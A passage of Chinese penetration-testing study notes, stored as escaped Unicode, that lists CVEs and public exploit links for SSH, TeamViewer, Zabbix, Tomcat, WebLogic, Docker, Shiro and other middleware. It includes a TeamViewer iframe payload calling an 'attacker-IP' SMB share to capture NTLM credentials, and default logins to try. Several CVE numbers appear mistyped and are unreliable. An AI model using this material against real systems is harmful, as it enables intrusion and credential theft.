CVE-2020-15778\uff08OpenSSH\u547d\u4ee4\u6ce8\u5165\u6f0f\u6d1e\uff09\u5229\u7528\u6761\u4ef6\u9ad8\uff0c\u81f3\u5c11\u9700\u8981\u6709\u4e00\u4e2a\u670d\u52a1\u5668\u4e0a\u7684\u975eroot\u7528\u6237\uff0c\u7ed3\u679c\u662f\u901a\u8fc7\u6267\u884cscp\u547d\u4ee4\u5f97\u5230\u53cd\u5f39shell\uff0c\u4f46\u5f97\u5230\u7684shell\u4f9d\u65e7\u662f\u666e\u901a\u7528\u6237\uff0c\u56e0\u6b64\u4ef7\u503c\u4e0d\u9ad8\u3002\u5229\u7528\u76ee\u7684\u5728\u4e8e\u4e0d\u80fd\u4f7f\u7528ssh\u8fde\u63a5\u4f46\u53ef\u4ee5\u4f7f\u7528scp\u65f6\uff0c\u901a\u8fc7\u53cd\u5f39shell\u5f97\u5230\u666e\u901a\u7528\u6237\u6743\u9650\u3002<\/p>\n\n\n\n
CVE-2018-15473\u7528\u6237\u540d\u679a\u4e3e\uff0cEXP\uff1aGitHub – Rhynorater\/CVE-2018-15473-Exploit: Exploit written in Python for CVE-2018-15473 with threading and export formats<\/a><\/p>\n\n\n\n
CVE-2018-10933\uff08libssh\u8eab\u4efd\u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\uff09\uff0clibssh\u662f\u4e00\u4e2a\u7528\u4e8e\u8bbf\u95eeSSH\u670d\u52a1\u7684C\u8bed\u8a00\u5f00\u53d1\u5305\uff0c\u80fd\u591f\u6267\u884c\u8fdc\u7a0b\u547d\u4ee4\u3001\u6587\u4ef6\u4f20\u8f93\uff0c\u540c\u65f6\u4e3a\u8fdc\u7a0b\u7684\u67e5\u8be2\u63d0\u4f9b\u5b89\u5168\u7684\u4f20\u8f93\u901a\u9053\u3002server-side state machine\u662f\u5176\u4e2d\u4e00\u4e2a\u670d\u52a1\u5668\u7aef\u72b6\u6001\u673a\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7MSG_USERAUTH_SUCCESS\u5728\u8eab\u4efd\u9a8c\u8bc1\u6210\u529f\u4e4b\u524d\u53d1\u9001\u6d88\u606f\uff08\u53d1\u9001\u547d\u4ee4\uff09\uff0c\u4ece\u800c\u7ed5\u8fc7\u8eab\u4efd\u9a8c\u8bc1\u5e76\u8bbf\u95eeSSH\u670d\u52a1\u5668\u3002EXP\uff1alibssh authentication bypass in server code (CVE-2018-10993) – \u77e5\u9053\u521b\u5b87 Seebug \u6f0f\u6d1e\u5e73\u53f0<\/a><\/p>\n\n\n\n
VNC\u8fdc\u7a0b\u8fde\u63a5<\/h3>\n\n\n\n
\u5229\u7528Hydra\u5de5\u5177\u731c\u89e3VNC\u5bc6\u7801<\/p>\n\n\n\n
TeamViewer<\/h3>\n\n\n\n
CVE-2020-13699\uff1aTeamViewer\u5b58\u5728\u672a\u5f15\u7528\u7684\u641c\u7d22\u8def\u5f84\u6216\u5143\u7d20\u7684\u5b89\u5168\u7f3a\u9677\uff0c\u7531\u4e8e\u5e94\u7528\u7a0b\u5e8f\u6ca1\u6709\u6b63\u786e\u5f15\u7528\u5b83\u7684\u81ea\u5b9a\u4e49URI\u5904\u7406\u7a0b\u5e8f\uff0c\u5f53\u5b89\u88c5\u6709TeamViewer\u7684\u6613\u53d7\u653b\u51fb\u7248\u672c\u7684\u7cfb\u7edf\u8bbf\u95ee\u6076\u610f\u521b\u5efa\u7684\u7f51\u7ad9\u65f6\uff0c\u53ef\u80fd\u4f1a\u88ab\u5229\u7528\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u7cbe\u5fc3\u5236\u4f5c\u7684URL\uff08iframe src=’teamviewer10: –play \\\\attacker-IP\\share\\fake.tvs’\uff09\u5c06\u6076\u610fiframe\u5d4c\u5165\u7f51\u7ad9\u4e2d\uff0c\u4ece\u800c\u542f\u52a8TeamViewer Windows\u684c\u9762\u5ba2\u6237\u7aef\u5e76\u5f3a\u5236\u5176\u6253\u5f00\u8fdc\u7a0bSMB\u5171\u4eab\u3002Windows\u5c06\u5728\u6253\u5f00SMB\u5171\u4eab\u65f6\uff0c\u6267\u884cNTLM\u8eab\u4efd\u9a8c\u8bc1\uff0c\u5e76\u4e14\u53ef\u4ee5\u8f6c\u53d1\u8be5\u8bf7\u6c42\uff08\u4f7f\u7528\u5982\u54cd\u5e94\u7a0b\u5e8f\u4e4b\u7c7b\u7684\u5de5\u5177\uff09\u4ee5\u6267\u884c\u4ee3\u7801\uff08\u6216\u6355\u83b7\u8be5\u8bf7\u6c42\u4ee5\u8fdb\u884c\u54c8\u5e0c\u7834\u89e3\uff09\u3002\u8be5\u6f0f\u6d1e\u7684\u5229\u7528\u53ef\u4ee5\u8fdc\u7a0b\u542f\u52a8\uff0c\u5e76\u4e14\u4e0d\u9700\u8981\u4e8b\u5148\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\uff0c\u662f\u6c34\u5751\u653b\u51fb\u7684\u7406\u60f3\u9009\u62e9\u3002<\/p>\n\n\n\n
\u5411\u65e5\u8475<\/h3>\n\n\n\n
\u5229\u7528\u5de5\u5177\uff1aGitHub – Mr-xn\/sunlogin_rce: \u5411\u65e5\u8475 RCE<\/a><\/p>\n\n\n\n
\u8bbe\u5907\u5e73\u53f0-Zabbix<\/h3>\n\n\n\n
Zabbix\u662f\u4e00\u4e2a\u57fa\u4e8eWEB\u754c\u9762\u7684\u63d0\u4f9b\u5206\u5e03\u5f0f\u7cfb\u7edf\u76d1\u89c6\u4ee5\u53ca\u7f51\u7edc\u76d1\u89c6\u529f\u80fd\u7684\u4f01\u4e1a\u7ea7\u5f00\u6e90\u89e3\u51b3\u65b9\u6848\u3002\u9ed8\u8ba4\u7aef\u53e3\uff1a10051<\/p>\n\n\n\n
CVE-2022-23131\uff08\u767b\u5f55\u7ed5\u8fc7\u6f0f\u6d1e\uff09\uff1aGitHub – L0ading-x\/cve-2022-23131: cve-2022-23131<\/a><\/p>\n\n\n\n
\u5229\u7528\u6f0f\u6d1e\u6253\u5165Zabbix\u540e\u53ef\u4ee5\u5728Script\u680f\u4e2d\u6dfb\u52a0Script\u7c7b\u578b\u811a\u672c\u5199\u4e00\u4e2a\u53cd\u5f39shell<\/p>\n\n\n\n
\u8bbe\u5907\u5e73\u53f0-Kibana<\/h3>\n\n\n\n
Kibana\u662fElassticsearch(ES)\u8bbe\u8ba1\u7684\u4e00\u6b3e\u5f00\u6e90\u89c6\u56fe\u5de5\u5177\u3002\u51765.6.15\u548c6.6.1\u4e4b\u524d\u7684\u7248\u672c\u4e2d\u5b58\u5728\u4e00\u5904\u539f\u578b\u94fe\u6c61\u67d3\u6f0f\u6d1e\uff0c\u5229\u7528\u6f0f\u6d1e\u53ef\u4ee5\u901a\u8fc7Timelion\u7ec4\u4ef6\u4e2d\u7684JavaScript\u539f\u578b\u94fe\u6c61\u67d3\u653b\u51fb\uff0c\u5411Kibana\u53d1\u8d77\u76f8\u5173\u8bf7\u6c42\uff0c\u4ece\u800c\u63a5\u7ba1\u6240\u5728\u670d\u52a1\u5668\uff0c\u5728\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u9ed8\u8ba4\u7aef\u53e3\uff1a5601<\/p>\n\n\n\n
\u5229\u7528\u8be5\u6f0f\u6d1e\u9700\u8981\u5148\u6709\u8d26\u53f7\u767b\u5165\u8fdb\u5e73\u53f0\u7ba1\u7406\u754c\u9762\u3002<\/p>\n\n\n\n
CVE-2019-7609\uff1aCVE-2019-7609\uff1aKibana\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n
\u7b2c\u4e8c\u5341\u4e8c\u5929\uff1a\u670d\u52a1\u653b\u9632-\u4e2d\u95f4\u4ef6\u5b89\u5168<\/h2>\n\n\n\n
\u4e2d\u95f4\u4ef6\u53ca\u6846\u67b6\u5217\u8868\uff1aIIS\uff0cApache\uff0cNginx\uff0cTomcat\uff0cDocker\uff0cWeblogic\uff0cJBoos\uff0cWebSphere\uff0cJenkins\uff0cGlassFish\uff0cJira\uff0cStruts2\uff0cLaravel\uff0cSolr\uff0cShiro\uff0cThinkPHP\uff0cSpring\uff0cFlask\uff0cjQuery\u7b49<\/p>\n\n\n\n
\u5224\u65ad\u4e2d\u95f4\u4ef6\u7c7b\u522b\u548c\u7248\u672c\uff1a\u6293\u5305\u770bServer\uff1b\u7528ip\/\u57df\u540d\u67e5\u7f51\u7ad9\u4fe1\u606f<\/p>\n\n\n\n
IIS-\u77ed\u6587\u4ef6&\u89e3\u6790&\u84dd\u5c4f<\/h3>\n\n\n\n
\u77ed\u6587\u4ef6\u548c\u6587\u4ef6\u89e3\u6790\u6f0f\u6d1e\u5728\u524d\u9762\u5df2\u7ecf\u6709\u5199\u8fc7\uff0c\u5c31\u4e0d\u91cd\u590d\u4e86<\/p>\n\n\n\n
HTTP.SYS\uff1a\u84dd\u5c4f\u6f0f\u6d1e\uff1b\u672c\u662f\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u4f46\u662f\u6ca1\u6709\u516c\u5f00POC\u548cEXP\uff0c\u53ea\u6709\u4f7f\u7cfb\u7edf\u84dd\u5c4f\u5d29\u6e83\u7684EXP\uff1b2015\u5e74\u7684\u6f0f\u6d1e\u592a\u8001\u3002<\/p>\n\n\n\n
CVE-2017-7269\uff08\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff09\uff1aIIS6.0\u7248\u672c\uff0c\u4e14\u9700\u5f00\u542fWebDAV\u652f\u6301\uff0c\u800cIIS6.0\u9ed8\u8ba4\u4e0d\u5f00\u542fWebDAV\u652f\u6301\u3002<\/p>\n\n\n\n
Nginx-\u6587\u4ef6\u89e3\u6790&\u547d\u4ee4\u6267\u884c<\/h3>\n\n\n\n
\u540e\u7f00\u89e3\u6790-\u914d\u7f6e\u4e0d\u5f53\uff0c\u4e0eNginx\u3001php\u7248\u672c\u65e0\u5173\uff0c\u5c5e\u4e8e\u7528\u6237\u914d\u7f6e\u4e0d\u5f53\u9020\u6210\u3002<\/p>\n\n\n\n
CVE-2013-4547\uff1a\u6587\u4ef6\u540d\u903b\u8f91\u6f0f\u6d1e\uff0cNginx 0.8.41~1.4.3\/1.5.0~1.5.7<\/p>\n\n\n\n
CVE-2021-23017\uff1a\u65e0EXP<\/p>\n\n\n\n
CVE-2017-7529\uff1arange filter\u6a21\u5757\u5b58\u5728\u8f93\u5165\u9a8c\u8bc1\u9519\u8bef\u6f0f\u6d1e\uff0c\u53ef\u83b7\u53d6\u654f\u611f\u4fe1\u606f\uff08\u5371\u5bb3\u4e0d\u5927\uff09<\/p>\n\n\n\n
Apache-RCE&\u76ee\u5f55\u904d\u5386&\u6587\u4ef6\u89e3\u6790<\/h3>\n\n\n\n
CVE-2021-42013\uff1a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884cRCE<\/p>\n\n\n\n
CVE-2021-41773\uff1a\u76ee\u5f55\u7a7f\u8d8a<\/p>\n\n\n\n
CVE-2017-15715\uff1a\u6587\u4ef6\u89e3\u6790<\/p>\n\n\n\n
CVE-2017-9798\uff1a\u82e5\u80fd\u5728.htaccess\u6587\u4ef6\u4e2d\u8bbe\u7f6eLimit\u6307\u4ee4\u6216httpd.conf\u4e2d\u6709\u9519\u8bef\u914d\u7f6e\uff0c\u5219\u53ef\u4ee5\u8bfb\u53d6\u8fdb\u7a0b\u5185\u5b58\u654f\u611f\u6570\u636e\uff0c\u4ef7\u503c\u4e0d\u9ad8<\/p>\n\n\n\n
CVE-2018-11759\uff1a\u4ef7\u503c\u4e0d\u9ad8<\/p>\n\n\n\n
CVE-2021-37580\uff1a\u63d2\u4ef6\u95ee\u9898<\/p>\n\n\n\n
Tomcat-\u5f31\u53e3\u4ee4&\u6587\u4ef6\u4e0a\u4f20&\u6587\u4ef6\u5305\u542b<\/h3>\n\n\n\n
\u5f31\u53e3\u4ee4\u731c\u89e3\uff1a\u914d\u7f6e\u4e0d\u5f53\u5bfc\u81f4\u540e\u53f0\u5f31\u53e3\u4ee4\uff0c\u53ef\u901a\u8fc7\u4e0a\u4f20jsp\u538b\u7f29\u5305\u6539\u540d\u7684war\u62ffshell\u3002\uff08War\u5305\u4e00\u822c\u662f\u5728\u8fdb\u884cWeb\u5f00\u53d1\u65f6\uff0c\u901a\u5e38\u662f\u4e00\u4e2a\u7f51\u7ad9Project\u4e0b\u7684\u6240\u6709\u6e90\u7801\u7684\u96c6\u5408\uff0c\u91cc\u9762\u5305\u542b\u524d\u53f0HTML\/CSS\/JS\/JSP\u7b49\u7684\u4ee3\u7801\uff0c\u4e5f\u5305\u542b\u7f16\u8bd1Java\u7684\u4ee3\u7801\u3002Web\u5b58\u6863-war\u6587\u4ef6\u5305\u542bWeb\u5e94\u7528\u7a0b\u5e8f\u7684\u6240\u6709\u5185\u5bb9\uff09<\/p>\n\n\n\n
CVE-2017-12615\uff1a\u5b58\u5728\u8be5\u6f0f\u6d1e\u7684Tmocat\u8fd0\u884c\u4e14\u542f\u7528\u4e86HTTP PUT\u8bf7\u6c42\u65b9\u6cd5\uff0c\u5c06\u53ef\u901a\u8fc7\u6784\u9020\u8bf7\u6c42\u6570\u636e\u5305\u5411\u670d\u52a1\u5668\u4e0a\u4f20\u5305\u542b\u4efb\u610f\u4ee3\u7801\u7684JSP\u7684webshell\uff0cJSP\u5c06\u80fd\u88ab\u670d\u52a1\u5668\u6267\u884c\u3002<\/p>\n\n\n\n
CVE-2020-1938\uff1a\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff0cApache Tomcat AJP\u534f\u8bae\uff08\u9ed8\u8ba4\u7aef\u53e38009\uff09\u7531\u4e8e\u5b58\u5728\u5b9e\u73b0\u7f3a\u9677\u5bfc\u81f4\u76f8\u5173\u53c2\u6570\u53ef\u63a7\uff0c\u653b\u51fb\u8005\u5229\u7528\u8be5\u6f0f\u6d1e\u6784\u9020\u7279\u5b9a\u53c2\u6570\uff0c\u53ef\u8bfb\u53d6webapp\u76ee\u5f55\u4e0b\u7684\u4efb\u610f\u6587\u4ef6\uff0c\u6709\u6761\u4ef6\u53ef\u8fdb\u4e00\u6b65\u914d\u5408\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u5b9e\u73b0getshell\u3002<\/p>\n\n\n\n
CVE-2020-11996\uff1a\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff0c\u65e0\u610f\u4e49<\/p>\n\n\n\n
CVE-2020-9484\uff1a\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u6761\u4ef6\u82db\u523b\uff0c\u610f\u4e49\u4e0d\u5927<\/p>\n\n\n\n
WebLogic-\u5de5\u5177\u68ad\u54c8<\/h3>\n\n\n\n
\u63a2\u9488\u9ed8\u8ba4\u7aef\u53e3\uff1a7001<\/p>\n\n\n\n
CVE-2017-3506\uff0cCVE-2018-2893\uff0cCVE-2018-3245\uff0cCVE-2020-14882\uff0cCVE-2021-2394\uff08\u53cd\u5e8f\u5217\u5316\uff1aGitHub – lz2y\/CVE-2021-2394: POC of CVE-2021-2394<\/a>\uff09<\/p>\n\n\n\n
JBoos-\u5de5\u5177\u68ad\u54c8<\/h3>\n\n\n\n
JBoos\u901a\u5e38\u5360\u7528\u7684\u7aef\u53e3\u662f1098\uff0c1099\uff0c4444\uff0c4445\uff0c8080\uff0c8009\uff0c8083\uff0c8093\uff1b<\/p>\n\n\n\n
CVE-2017-12149\uff0cCVE-2017-7504<\/p>\n\n\n\n
Jenkins-\u5de5\u5177\u68ad\u54c8<\/h3>\n\n\n\n
\u63a2\u9488\u9ed8\u8ba4\u7aef\u53e3\uff1a8080<\/p>\n\n\n\n
CVE-2017-11000353\uff0cCVE-2018-1000861\uff0cCVE-2019-100300<\/p>\n\n\n\n
GlassFISH-\u5de5\u5177\u68ad\u54c8<\/h3>\n\n\n\n
\u63a2\u9488\u9ed8\u8ba4\u7aef\u53e3\uff1a4848<\/p>\n\n\n\n
CVE-2017-1000028\uff1a\u8bfb\u53d6\u654f\u611f\u4fe1\u606f<\/p>\n\n\n\n
K8s<\/h3>\n\n\n\n
Kubernetes\u7b80\u79f0K8s\uff0c\u7528\u4e8e\u81ea\u52a8\u90e8\u7f72\u3001\u6269\u5c55\u548c\u7ba1\u7406\u5bb9\u5668\u5316\u5e94\u7528\u7a0b\u5e8f\u7684\u5f00\u6e90\u7cfb\u7edf\uff0c\u4e0eDocker\u4e00\u8d77\u90fd\u662f\u70ed\u95e8\u7684\u5bb9\u5668\u5316\u6280\u672f\u3002<\/p>\n\n\n\n
K8s\u96c6\u7fa4\u4e3b\u8981\u7531\u591a\u4e2a\u7ec4\u4ef6\u7ec4\u6210\uff0c\u6bcf\u4e2a\u7ec4\u4ef6\u4f1a\u5f00\u653e\u5bf9\u5e94\u7aef\u53e3\uff0c\u901a\u8fc7\u68c0\u6d4b\u7aef\u53e3\u5f00\u653e\u60c5\u51b5\u53ef\u4ee5\u5224\u65ad\u51fa\u662f\u5426\u4e3aK8s\uff1a<\/p>\n\n\n\n
- \n
- kube-apiserver\uff1aK8s master\u8282\u70b9api\u670d\u52a1\u5668\uff0c\u4ee5REST API\u670d\u52a1\u5f62\u5f0f\u63d0\u4f9b\u63a5\u53e3\uff0c\u4f5c\u4e3a\u6574\u4e2aK8s\u7684\u63a7\u5236\u5165\u53e3<\/li>\n\n\n\n
- kube-controller-manager\uff1a\u6267\u884c\u6574\u4e2aK8s\u7684\u540e\u53f0\u4efb\u52a1\uff0c\u5305\u62ec\u8282\u70b9\u72b6\u6001\u72b6\u51b5\u3001Pod\u4e2a\u6570\u3001Pods\u548cService\u7684\u5173\u8054\u7b49<\/li>\n\n\n\n
- kube-scheduler\uff1a\u63a5\u6536\u6765\u81eakube-apiserver\u521b\u5efaPods\u4efb\u52a1\uff0c\u901a\u8fc7\u6536\u96c6\u7684\u96c6\u7fa4\u4e2d\u6240\u6709node\u8282\u70b9\u7684\u8d44\u6e90\u8d1f\u8f7d\u60c5\u51b5\u5206\u914d\u5230\u67d0\u4e2a\u8282\u70b9<\/li>\n\n\n\n
- etcd\uff1aK8s\u7684\u952e\u503c\u5bf9\u5f62\u5f0f\u6570\u636e\u5e93\uff0c\u662f\u4fdd\u5b58\u4e86K8s\u6240\u6709\u96c6\u7fa4\u6570\u636e\u7684\u540e\u53f0\u6570\u636e\u5e93<\/li>\n\n\n\n
- kube-proxy\uff1a\u8fd0\u884c\u5728\u6bcf\u4e2anode\u8282\u70b9\u4e0a\uff0c\u8d1f\u8d23Pod\u7f51\u7edc\u4ee3\u7406\uff0c\u5b9a\u65f6\u4eceetcd\u83b7\u53d6\u5230service\u4fe1\u606f\u6765\u505a\u76f8\u5e94\u7684\u7b56\u7565<\/li>\n\n\n\n
- kubelet\uff1a\u8fd0\u884c\u5728\u6bcf\u4e2anode\u8282\u70b9\u4e0a\uff0c\u4f5c\u4e3aagent\uff0c\u63a5\u6536\u5206\u914d\u8be5\u8282\u70b9\u7684Pods\u4efb\u52a1\u53ca\u7ba1\u7406\u5bb9\u5668\uff0c\u5468\u671f\u6027\u83b7\u53d6\u5bb9\u5668\u72b6\u6001\uff0c\u53cd\u9988\u7ed9kube-apiserver<\/li>\n<\/ul>\n\n\n\n
\u63d0\u6743\u6f0f\u6d1e\uff1aCVE-2018-1002105<\/p>\n\n\n\n
Jetty\uff08\u4ec5\u6709\u9650\u7684\u4fe1\u606f\u6cc4\u9732\uff09<\/h3>\n\n\n\n
Clipse Jetty\u662f\u4e00\u4e2a\u5f00\u6e90\u7684servlet\u5bb9\u5668\uff0c\u4e3a\u57fa\u4e8eJava\u7684Web\u5bb9\u5668\u63d0\u4f9b\u8fd0\u884c\u73af\u5883<\/p>\n\n\n\n
CVE-2021-28164<\/p>\n\n\n\n
CVE-2021-28169<\/p>\n\n\n\n
Docker<\/h3>\n\n\n\n
Docker\u5bb9\u5668\u4f7f\u7528\u6c99\u7bb1\u673a\u5236\uff0c\u662f\u5355\u72ec\u7684\u7cfb\u7edf\u3002<\/p>\n\n\n\n
Docker\u9003\u9038\u6f0f\u6d1e\uff1a\u901a\u8fc7\u67d0\u79cd\u624b\u6bb5\u7ed3\u5408\u6267\u884cEXP\u53ef\u4ee5\u8fd4\u56de\u4e00\u4e2a\u5bbf\u4e3b\u673a\u7684\u9ad8\u6743\u9650Shell\uff0c\u5e76\u62ff\u5230\u5bbf\u4e3b\u673a\u7684root\u6743\u9650\uff0c\u53ef\u4ee5\u76f4\u63a5\u64cd\u4f5c\u5bbf\u4e3b\u673a\u6587\u4ef6\uff0c\u5b9e\u73b0\u4e86\u4ece\u5bb9\u5668\u4e2d\u9003\u51fa\u7684\u6548\u679c\u3002<\/p>\n\n\n\n
1.\u5bb9\u5668\u5224\u65ad\uff1a<\/p>\n\n\n\n
- \n
- \u662f\u5426\u5b58\u5728.dockerenv\u6587\u4ef6\uff1als -alh \/.dockerenv<\/li>\n\n\n\n
- \u67e5\u8be2\u7cfb\u7edf\u8fdb\u7a0b\u7684cgroup\u4fe1\u606f\uff1acat \/proc\/1\/cgroup<\/li>\n<\/ul>\n\n\n\n
2.\u5bb9\u5668\u9003\u9038\u6f0f\u6d1e\uff1a\uff08\u6743\u9650\u63d0\u5347\uff09<\/p>\n\n\n\n
- \n
- \u5185\u6838\u6f0f\u6d1e\u5f15\u8d77\uff1aDirty Cow \u2014\u2014 CVE-2016-5195\uff08\u4e0b\u8f7d\u4e00\u4e2aexp\u6587\u4ef6\u4e0a\u4f20\u5230\u76ee\u6807\u673a\u5668\u76f4\u63a5\u6253\uff09<\/li>\n\n\n\n
- Docker\u8f6f\u4ef6\u8bbe\u8ba1\u5f15\u8d77\uff1aCVE-2019-5736\u3001CVE-2019-14271\u3001CVE-2020-15257<\/li>\n\n\n\n
- \u914d\u7f6e\u4e0d\u5f53\u5f15\u8d77\uff1a\u5f00\u542fprivileged\u7279\u6743\u6a21\u5f0f+\u5bbf\u4e3b\u673a\u76ee\u5f55\u6302\u8f7d\uff08\u6587\u4ef6\u6302\u8f7d\uff09\u3001\u529f\u80fd\uff08capablities\uff09\u673a\u5236\u3001sock\u901a\u4fe1\u65b9\u5f0f<\/li>\n<\/ul>\n\n\n\n
3.\u5bb9\u5668\u5b89\u5168\u6f0f\u6d1e\uff1adocker\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e\uff08\u641c\u4e2aexp\u76f4\u63a5\u6253\uff09<\/p>\n\n\n\n
WebSphere<\/h3>\n\n\n\n
\u7aef\u53e3\uff1a9080-WEB\uff08http\uff09\u5e94\u7528\u8bbf\u95ee\u7aef\u53e3\uff0c9443-WEB\uff08https\uff09\u5e94\u7528\u8bbf\u95ee\u7aef\u53e3\uff0c9060-\u7ba1\u7406\u540e\u53f0\u8bbf\u95ee\u7aef\u53e3\uff0c9043-\u7ba1\u7406\u63a7\u5236\u53f0\u5b89\u5168\u7aef\u53e3\uff0c8880-SOAP\u8fde\u63a5\u5668\u7aef\u53e3<\/p>\n\n\n\n
CVE-2015-7450\uff1a\u53cd\u5e8f\u5217\u5316\uff0c\u76f4\u63a5\u5de5\u5177\u68ad\u54c8<\/p>\n\n\n\n
\u5f31\u53e3\u4ee4\u767b\u5f55\u540e\uff0c\u4e0a\u4f20\u62ffshell\uff08\u4f20war\u6587\u4ef6\uff0cjsp\u6728\u9a6c\uff09\uff1a6.x-7.0\u7248\u672c\uff0c\u540e\u53f0\u767b\u5f55\u53ea\u9700\u8981\u8f93\u5165admin\u4f5c\u4e3a\u7528\u6237\u6807\u8bc6\uff0c\u65e0\u9700\u5bc6\u7801\u5373\u53ef\u767b\u5f55\u540e\u53f0\uff08\u554a\uff1f\u8fd9\u4e48\u79bb\u8c31\uff1f\uff09\uff1b\u82e5\u6709\u5bc6\u7801\u767b\u5f55\u5219\u5c1d\u8bd5\u9ed8\u8ba4\u8d26\u6237\u5bc6\u7801\u7ec4\u5408-websphere\/websphere\uff0c-system\/manager<\/p>\n\n\n\n
CVE-2020-4450\uff1a\u65e0\u5229\u7528EXP<\/p>\n\n\n\n
\u7b2c\u4e8c\u5341\u4e09\u5929\uff1a\u670d\u52a1\u653b\u9632-\u6846\u67b6\u5b89\u5168<\/h2>\n\n\n\n
\u5e38\u89c1\u8bed\u8a00\u5f00\u53d1\u6846\u67b6\uff1a<\/p>\n\n\n\n
- \n
- PHP\uff1aThinkPHP\u3001Laravel\u3001YII\u3001Codelgniter\u3001CakePHP\u3001Zend\u7b49<\/li>\n\n\n\n
- JAVA\uff1aSpring\u3001MyBatis\u3001Hibernate\u3001Struts2\u3001Springboot\u7b49<\/li>\n\n\n\n
- Python\uff1aDjango\u3001Flask\u3001Bottle\u3001Turbobars\u3001Tornado\u3001Web2py\u7b49<\/li>\n\n\n\n
- Javascript\uff1a Vue.js\u3001Node.js\u3001Bootstrap\u3001JQuery\u3001Angulary\u7b49<\/li>\n<\/ul>\n\n\n\n
PHP-ThinkPHP\uff1a3.x-5.x RCE\uff08\u5de5\u5177\u7bb1\u76f4\u63a5\u68ad\uff09<\/p>\n\n\n\n
PHP-Laravel\uff1aCVE-2021-3129\uff08\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff09<= 8.4.2<\/p>\n\n\n\n
Java-Struts2\uff1a2020\u5e74\u524d\u8f83\u591a\u6f0f\u6d1e\uff0c\u5de5\u5177\u591a\uff0c\u5de5\u5177\u7bb1\u76f4\u63a5\u68ad\uff1bCVE-2021-31805<\/p>\n\n\n\n
Java-Spring\uff1aSpring\u4e0d\u662f\u5355\u72ec\u7684\u6846\u67b6\uff0c\u662f\u7531\u4e8e\u8f6f\u4ef6\u5f00\u53d1\u7684\u590d\u6742\u6027\u800c\u521b\u5efa\u7684<\/p>\n\n\n\n
- \n
- CVE-2017-4971\uff08Spring Web Flow 2.4.0-2.4.4\uff09<\/li>\n\n\n\n
- CVE-2018-1273\uff08Spring Data Commons 1.13-1.13.10\uff1aIngalls SR10\uff0cSpring Data REST 2.6-2.6.10\uff1aIngalls SR10\uff0cSpring Data Commons 2.0-2.0.5\uff1aKay SR5\uff0cSpring Data REST 3.0-3.0.5\uff1aKay SR5\uff09<\/li>\n\n\n\n
- CVE-2022-22963\uff08Spring Cloud Function Spel\u8868\u8fbe\u5f0f\u6ce8\u5165\u2014\u2014\u597d\u50cf\u5728\u54ea\u4e00\u6b21\u6bd4\u8d5b\u505a\u8fc7\uff1f\uff09<\/li>\n<\/ul>\n\n\n\n
Python-Django\uff1a<\/p>\n\n\n\n
- \n
- CVE-2019-14234\uff08SQL\u6ce8\u5165+RCE\uff09<\/li>\n\n\n\n
- CVE-2021-35042\uff08SQL\u6ce8\u5165\uff09<\/li>\n<\/ul>\n\n\n\n
Python-Flask\/Jinjia2\/SSTI\uff1a\u6a21\u677f\u6ce8\u5165<\/p>\n\n\n\n
Javascript-Node.js\uff1a<\/p>\n\n\n\n
- \n
- CVE-2021-21315\uff08RCE\uff09<\/li>\n\n\n\n
- CVE-2017-14849\uff08\u76ee\u5f55\u7a7f\u8d8a\uff09<\/li>\n<\/ul>\n\n\n\n
Javascript-JQuery\uff1aCVE-2018-9207\uff08\u6587\u4ef6\u4e0a\u4f20\uff09JQuery Upload File <= 4.0.2\uff0c\u6839\u76ee\u5f55\u4e0b\u7684\/jquery-upload-file<\/p>\n\n\n\n
Apache-Shiro\uff1a\u4e00\u4e2a\u5f3a\u5927\u4e14\u6613\u7528\u7684Java\u5b89\u5168\u6846\u67b6\uff0c\u7528\u4e8e\u8eab\u4efd\u9a8c\u8bc1\u3001\u6388\u6743\u3001\u5bc6\u7801\u548c\u4f1a\u8bdd\u7ba1\u7406\uff1b\u5224\u65ad\u65b9\u5f0f\uff1a\u5927\u591a\u4f1a\u53d1\u751f\u5728\u767b\u5f55\u5904\uff0c\u8fd4\u56de\u5305\u91cc\u5305\u542brememberMe\u3001deleteMe\u5b57\u6bb5<\/p>\n\n\n\n
- \n
- <= 1.2.4\u9ed8\u8ba4\u5bc6\u94a5\u5bfc\u81f4\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff1aCVE-2016-4483<\/li>\n\n\n\n
- < 1.3.2\u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\uff1aCVE-2020-1957<\/li>\n\n\n\n
- < 1.4.2 cookie oracle padding\u6f0f\u6d1e\uff1aCVE-2019-12442<\/li>\n\n\n\n
- < 1.5.2 \u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\uff1aCVE-2020-1957<\/li>\n\n\n\n
- < 1.5.3 \u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\uff1aCVE-2020-11989<\/li>\n\n\n\n
- < 1.6.0 \u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\uff1aCVE-2020-13933<\/li>\n\n\n\n
- < 1.7.1 \u6743\u9650\u7ed5\u8fc7\u6f0f\u6d1e\uff1aCVE-2020-17523<\/li>\n<\/ul>\n\n\n\n
Apache-Solr\uff1a\u4e00\u4e2a\u5f00\u6e90\u7684\u641c\u7d22\u670d\u52a1\uff0c\u4f7f\u7528Java\u8bed\u8a00\u5f00\u53d1\uff0c\u4e3b\u8981\u57fa\u4e8eHTTP\u548cApache Lucene\u5b9e\u73b0\u7684\uff0cSolr\u662f\u4e00\u4e2a\u9ad8\u6027\u80fd\u3001\u91c7\u7528Java5\u5f00\u53d1\u3001\u57fa\u4e8eLucene\u7684\u5168\u6587\u641c\u7d22\u670d\u52a1\u5668<\/p>\n\n\n\n
- \n
